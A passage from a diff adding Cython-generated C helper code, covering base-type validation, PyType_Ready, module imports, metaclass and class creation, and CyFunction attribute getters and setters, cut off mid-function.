Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) { + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportDottedModule */ + #if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Error(PyObject *name, PyObject *parts_tuple, Py_ssize_t count) { + PyObject *partial_name = NULL, *slice = NULL, *sep = NULL; + if (unlikely(PyErr_Occurred())) { + PyErr_Clear(); + } + if (likely(PyTuple_GET_SIZE(parts_tuple) == count)) { + partial_name = name; + } else { + slice = PySequence_GetSlice(parts_tuple, 0, count); + if (unlikely(!slice)) + goto bad; + sep = PyUnicode_FromStringAndSize(".", 1); + if (unlikely(!sep)) + goto bad; + partial_name = PyUnicode_Join(sep, slice); + } + PyErr_Format( +#if PY_MAJOR_VERSION < 3 + PyExc_ImportError, + "No module named '%s'", PyString_AS_STRING(partial_name)); +#else +#if PY_VERSION_HEX >= 0x030600B1 + PyExc_ModuleNotFoundError, +#else + PyExc_ImportError, +#endif + "No module named '%U'", partial_name); +#endif +bad: + Py_XDECREF(sep); + Py_XDECREF(slice); + Py_XDECREF(partial_name); + return NULL; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Lookup(PyObject *name) { + PyObject *imported_module; +#if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + return NULL; + imported_module = __Pyx_PyDict_GetItemStr(modules, name); + Py_XINCREF(imported_module); +#else + imported_module = PyImport_GetModule(name); +#endif + return imported_module; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple) { + Py_ssize_t i, nparts; + nparts = PyTuple_GET_SIZE(parts_tuple); + for (i=1; i < nparts && module; i++) { + PyObject *part, *submodule; +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + part = PyTuple_GET_ITEM(parts_tuple, i); +#else + part = PySequence_ITEM(parts_tuple, i); +#endif + submodule = __Pyx_PyObject_GetAttrStrNoError(module, part); +#if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(part); +#endif + Py_DECREF(module); + module = submodule; + } + if (unlikely(!module)) { + return __Pyx__ImportDottedModule_Error(name, parts_tuple, i); + } + return module; +} +#endif +static PyObject *__Pyx__ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if PY_MAJOR_VERSION < 3 + PyObject *module, *from_list, *star = __pyx_n_s__31; + CYTHON_UNUSED_VAR(parts_tuple); + from_list = PyList_New(1); + if (unlikely(!from_list)) + return NULL; + Py_INCREF(star); + PyList_SET_ITEM(from_list, 0, star); + module = __Pyx_Import(name, from_list, 0); + Py_DECREF(from_list); + return module; +#else + PyObject *imported_module; + PyObject *module = __Pyx_Import(name, NULL, 0); + if (!parts_tuple || unlikely(!module)) + return module; + imported_module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(imported_module)) { + Py_DECREF(module); + return imported_module; + } + PyErr_Clear(); + return __Pyx_ImportDottedModule_WalkParts(module, name, parts_tuple); +#endif +} +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030400B1 + PyObject *module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(module)) { + PyObject *spec = __Pyx_PyObject_GetAttrStrNoError(module, __pyx_n_s_spec); + if (likely(spec)) { + PyObject *unsafe = __Pyx_PyObject_GetAttrStrNoError(spec, __pyx_n_s_initializing); + if (likely(!unsafe || !__Pyx_PyObject_IsTrue(unsafe))) { + Py_DECREF(spec); + spec = NULL; + } + Py_XDECREF(unsafe); + } + if (likely(!spec)) { + PyErr_Clear(); + return module; + } + Py_DECREF(spec); + Py_DECREF(module); + } else if (PyErr_Occurred()) { + PyErr_Clear(); + } +#endif + return __Pyx__ImportDottedModule(name, parts_tuple); +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__6); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* Py3UpdateBases */ + static PyObject* +__Pyx_PEP560_update_bases(PyObject *bases) +{ + Py_ssize_t i, j, size_bases; + PyObject *base, *meth, *new_base, *result, *new_bases = NULL; + size_bases = PyTuple_GET_SIZE(bases); + for (i = 0; i < size_bases; i++) { + base = PyTuple_GET_ITEM(bases, i); + if (PyType_Check(base)) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + meth = __Pyx_PyObject_GetAttrStrNoError(base, __pyx_n_s_mro_entries); + if (!meth && PyErr_Occurred()) { + goto error; + } + if (!meth) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + new_base = __Pyx_PyObject_CallOneArg(meth, bases); + Py_DECREF(meth); + if (!new_base) { + goto error; + } + if (!PyTuple_Check(new_base)) { + PyErr_SetString(PyExc_TypeError, + "__mro_entries__ must return a tuple"); + Py_DECREF(new_base); + goto error; + } + if (!new_bases) { + if (!(new_bases = PyList_New(i))) { + goto error; + } + for (j = 0; j < i; j++) { + base = PyTuple_GET_ITEM(bases, j); + PyList_SET_ITEM(new_bases, j, base); + Py_INCREF(base); + } + } + j = PyList_GET_SIZE(new_bases); + if (PyList_SetSlice(new_bases, j, j, new_base) < 0) { + goto error; + } + Py_DECREF(new_base); + } + if (!new_bases) { + Py_INCREF(bases); + return bases; + } + result = PyList_AsTuple(new_bases); + Py_DECREF(new_bases); + return result; +error: + Py_XDECREF(new_bases); + return NULL; +} + +/* CalculateMetaclass */ + static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { + Py_ssize_t i, nbases; +#if CYTHON_ASSUME_SAFE_MACROS + nbases = PyTuple_GET_SIZE(bases); +#else + nbases = PyTuple_Size(bases); + if (nbases < 0) return NULL; +#endif + for (i=0; i < nbases; i++) { + PyTypeObject *tmptype; +#if CYTHON_ASSUME_SAFE_MACROS + PyObject *tmp = PyTuple_GET_ITEM(bases, i); +#else + PyObject *tmp = PyTuple_GetItem(bases, i); + if (!tmp) return NULL; +#endif + tmptype = Py_TYPE(tmp); +#if PY_MAJOR_VERSION < 3 + if (tmptype == &PyClass_Type) + continue; +#endif + if (!metaclass) { + metaclass = tmptype; + continue; + } + if (PyType_IsSubtype(metaclass, tmptype)) + continue; + if (PyType_IsSubtype(tmptype, metaclass)) { + metaclass = tmptype; + continue; + } + PyErr_SetString(PyExc_TypeError, + "metaclass conflict: " + "the metaclass of a derived class " + "must be a (non-strict) subclass " + "of the metaclasses of all its bases"); + return NULL; + } + if (!metaclass) { +#if PY_MAJOR_VERSION < 3 + metaclass = &PyClass_Type; +#else + metaclass = &PyType_Type; +#endif + } + Py_INCREF((PyObject*) metaclass); + return (PyObject*) metaclass; +} + +/* PyObjectLookupSpecial */ + #if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error) { + PyObject *res; + PyTypeObject *tp = Py_TYPE(obj); +#if PY_MAJOR_VERSION < 3 + if (unlikely(PyInstance_Check(obj))) + return with_error ? __Pyx_PyObject_GetAttrStr(obj, attr_name) : __Pyx_PyObject_GetAttrStrNoError(obj, attr_name); +#endif + res = _PyType_Lookup(tp, attr_name); + if (likely(res)) { + descrgetfunc f = Py_TYPE(res)->tp_descr_get; + if (!f) { + Py_INCREF(res); + } else { + res = f(res, obj, (PyObject *)tp); + } + } else if (with_error) { + PyErr_SetObject(PyExc_AttributeError, attr_name); + } + return res; +} +#endif + +/* Py3ClassCreate */ + static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, + PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { + PyObject *ns; + if (metaclass) { + PyObject *prep = __Pyx_PyObject_GetAttrStrNoError(metaclass, __pyx_n_s_prepare); + if (prep) { + PyObject *pargs[3] = {NULL, name, bases}; + ns = __Pyx_PyObject_FastCallDict(prep, pargs+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, mkw); + Py_DECREF(prep); + } else { + if (unlikely(PyErr_Occurred())) + return NULL; + ns = PyDict_New(); + } + } else { + ns = PyDict_New(); + } + if (unlikely(!ns)) + return NULL; + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; +#if PY_VERSION_HEX >= 0x03030000 + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; +#else + CYTHON_MAYBE_UNUSED_VAR(qualname); +#endif + if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; + return ns; +bad: + Py_DECREF(ns); + return NULL; +} +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS +static int __Pyx_SetNamesPEP487(PyObject *type_obj) { + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *names_to_set, *key, *value, *set_name, *tmp; + Py_ssize_t i = 0; +#if CYTHON_USE_TYPE_SLOTS + names_to_set = PyDict_Copy(type->tp_dict); +#else + { + PyObject *d = PyObject_GetAttr(type_obj, __pyx_n_s_dict); + names_to_set = NULL; + if (likely(d)) { + PyObject *names_to_set = PyDict_New(); + int ret = likely(names_to_set) ? PyDict_Update(names_to_set, d) : -1; + Py_DECREF(d); + if (unlikely(ret < 0)) + Py_CLEAR(names_to_set); + } + } +#endif + if (unlikely(names_to_set == NULL)) + goto bad; + while (PyDict_Next(names_to_set, &i, &key, &value)) { + set_name = __Pyx_PyObject_LookupSpecialNoError(value, __pyx_n_s_set_name); + if (unlikely(set_name != NULL)) { + tmp = __Pyx_PyObject_Call2Args(set_name, type_obj, key); + Py_DECREF(set_name); + if (unlikely(tmp == NULL)) { + __Pyx_TypeName value_type_name = + __Pyx_PyType_GetName(Py_TYPE(value)); + __Pyx_TypeName type_name = __Pyx_PyType_GetName(type); + PyErr_Format(PyExc_RuntimeError, +#if PY_MAJOR_VERSION >= 3 + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %R " "in '" __Pyx_FMT_TYPENAME "'", + value_type_name, key, type_name); +#else + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %.100s in '" __Pyx_FMT_TYPENAME "'", + value_type_name, + PyString_Check(key) ? PyString_AS_STRING(key) : "?", + type_name); +#endif + goto bad; + } else { + Py_DECREF(tmp); + } + } + else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } + Py_DECREF(names_to_set); + return 0; +bad: + Py_XDECREF(names_to_set); + return -1; +} +static PyObject *__Pyx_InitSubclassPEP487(PyObject *type_obj, PyObject *mkw) { +#if CYTHON_USE_TYPE_SLOTS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *mro = type->tp_mro; + Py_ssize_t i, nbases; + if (unlikely(!mro)) goto done; + (void) &__Pyx_GetBuiltinName; + Py_INCREF(mro); + nbases = PyTuple_GET_SIZE(mro); + assert(PyTuple_GET_ITEM(mro, 0) == type_obj); + for (i = 1; i < nbases-1; i++) { + PyObject *base, *dict, *meth; + base = PyTuple_GET_ITEM(mro, i); + dict = ((PyTypeObject *)base)->tp_dict; + meth = __Pyx_PyDict_GetItemStrWithError(dict, __pyx_n_s_init_subclass); + if (unlikely(meth)) { + descrgetfunc f = Py_TYPE(meth)->tp_descr_get; + PyObject *res; + Py_INCREF(meth); + if (likely(f)) { + res = f(meth, NULL, type_obj); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + meth = res; + } + res = __Pyx_PyObject_FastCallDict(meth, NULL, 0, mkw); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + Py_DECREF(res); + goto done; + } else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } +done: + Py_XDECREF(mro); + return type_obj; +bad: + Py_XDECREF(mro); + Py_DECREF(type_obj); + return NULL; +#else + PyObject *super_type, *super, *func, *res; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + super_type = __Pyx_GetBuiltinName(__pyx_n_s_super); +#else + super_type = (PyObject*) &PySuper_Type; + (void) &__Pyx_GetBuiltinName; +#endif + super = likely(super_type) ? __Pyx_PyObject_Call2Args(super_type, type_obj, type_obj) : NULL; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + Py_XDECREF(super_type); +#endif + if (unlikely(!super)) { + Py_CLEAR(type_obj); + goto done; + } + func = __Pyx_PyObject_GetAttrStrNoError(super, __pyx_n_s_init_subclass); + Py_DECREF(super); + if (likely(!func)) { + if (unlikely(PyErr_Occurred())) + Py_CLEAR(type_obj); + goto done; + } + res = __Pyx_PyObject_FastCallDict(func, NULL, 0, mkw); + Py_DECREF(func); + if (unlikely(!res)) + Py_CLEAR(type_obj); + Py_XDECREF(res); +done: + return type_obj; +#endif +} +#endif +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, + PyObject *dict, PyObject *mkw, + int calculate_metaclass, int allow_py2_metaclass) { + PyObject *result; + PyObject *owned_metaclass = NULL; + PyObject *margs[4] = {NULL, name, bases, dict}; + if (allow_py2_metaclass) { + owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); + if (owned_metaclass) { + metaclass = owned_metaclass; + } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { + PyErr_Clear(); + } else { + return NULL; + } + } + if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { + metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); + Py_XDECREF(owned_metaclass); + if (unlikely(!metaclass)) + return NULL; + owned_metaclass = metaclass; + } + result = __Pyx_PyObject_FastCallDict(metaclass, margs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, +#if PY_VERSION_HEX < 0x030600A4 + (metaclass == (PyObject*)&PyType_Type) ? NULL : mkw +#else + mkw +#endif + ); + Py_XDECREF(owned_metaclass); +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS + if (likely(result) && likely(PyType_Check(result))) { + if (unlikely(__Pyx_SetNamesPEP487(result) < 0)) { + Py_CLEAR(result); + } else { + result = __Pyx_InitSubclassPEP487(result, mkw); + } + } +#else + (void) &__Pyx_GetBuiltinName; +#endif + return result; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + 